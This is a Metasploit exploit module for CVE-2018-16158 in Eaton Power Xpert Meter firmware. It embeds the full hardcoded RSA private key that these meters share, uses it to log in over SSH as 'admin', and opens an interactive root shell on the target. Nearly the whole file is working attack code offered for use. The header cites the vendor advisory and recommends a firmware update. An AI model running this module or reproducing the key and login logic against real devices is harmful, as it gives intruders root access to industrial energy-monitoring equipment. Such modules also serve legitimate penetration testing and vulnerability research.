eaton_known_privkey.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Exploit Title: Eaton Xpert Meter SSH Private Key Exposure
# Date: 07-16-2018
# Exploit Author: BrianWGray
# Contact: https://twitter.com/BrianWGray 
# WebPage: https://CTRLu.net/
# Vendor Homepage: http://www.eaton.com/
# Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf
# Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2
# Version: Firmware <= 12.x and <= 13.3.x.x and below more versions may be impacted
# Recomended to update to Version 13.4.0.10 or above
# Tested on: Firmware 12.1.9.1 and 13.3.2.10
# CVE : CVE-2018-16158
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Auxiliary::CommandShell
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'Eaton Xpert Meter SSH Private Key Exposure',
        'Description'    => %q{
        Eaton Power Xpert Meters are used across industries for energy management, 
        monitoring circuit loading, and identifying power quality problems. 
        Meters running firmware 12.x.x.x or below version 13.3.x.x and below ship with 
        a public/private key pair on Power Xpert Meter hardware that allows 
        passwordless authentication to any other affected Power Xpert Meter. 
        The vendor recommends updating to Version 13.4.0.10 or above. As the key is 
        easily retrievable, an attacker can use it to gain unauthorized remote 
        access as uid0 
      },
        'Platform'    => 'unix',
        'Arch'        => ARCH_CMD,
        'Privileged'  => true,
        'Targets'     => [ [ "Universal", {} ] ],
        'Payload'     =>
          {
            'Compat' => {
              'PayloadType'    => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
        'Author'      => ['BrianWGray'],
        'License'     => MSF_LICENSE,
        'References'  =>
          [
            ['CVE', 'CVE-2018-16158'],
            ['URL', 'http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'],
            ['URL', 'https://www.ctrlu.net/vuln/0006.html']
          ],
        'DisclosureDate' => "Jul 18 2018",
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

def do_login(user)
    factory = Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])

    opt_hash = {
      auth_methods:    ['publickey'],
      port:            rport,
      key_data:        [ key_data ],
      hmac:            ['hmac-sha1'],
      encryption:      ['aes128-cbc'],
      kex:             ['diffie-hellman-group1-sha1'],
      host_key:        ['ssh-rsa'],
      use_agent:       false,
      config:          false,
      proxy:           factory,
      non_interactive: true
    }
    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']

    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    return false unless ssh_socket

    # Create a new session from the socket, then dump it.
    conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
    #ssh_socket = nil
    self.sockets.delete(ssh_socket.transport.socket)

    return conn
  end

  def exploit
    conn = do_login("admin")
    if conn
      print_good "Successful login"
      handler(conn.lsock)
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj
C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl
TyfL+q6BYAtAeNsho8eP/fMwrT2vhylNJ4BTsJbmdDJMoaaHu/0IB9Z9ywIBIwKB
gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA/
c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP
I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W
gA1/WSQrFxTt28mFeUC8enGvKLRm1Nnxk/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3
YzqKMzUCQQDF7GrnrxNXWsIAli/UZscqIovN2ABRa2y8/JYPQAV/KRQ44vet2aaB
trQBK9czk0QLlBfXrKsofBW81+Swiwz/AkEAh8q/FX68zY8Ssod4uGmg+oK3ZYZd
O0kVKop8WVXY65QIN3LdlZm/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf
z54t9zq2AEjyqP64gi4JY/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z
zyf7XM6ONycIrYVeFQJABB8eqx/R/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh
7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==
-----END RSA PRIVATE KEY-----
EOF
  end
end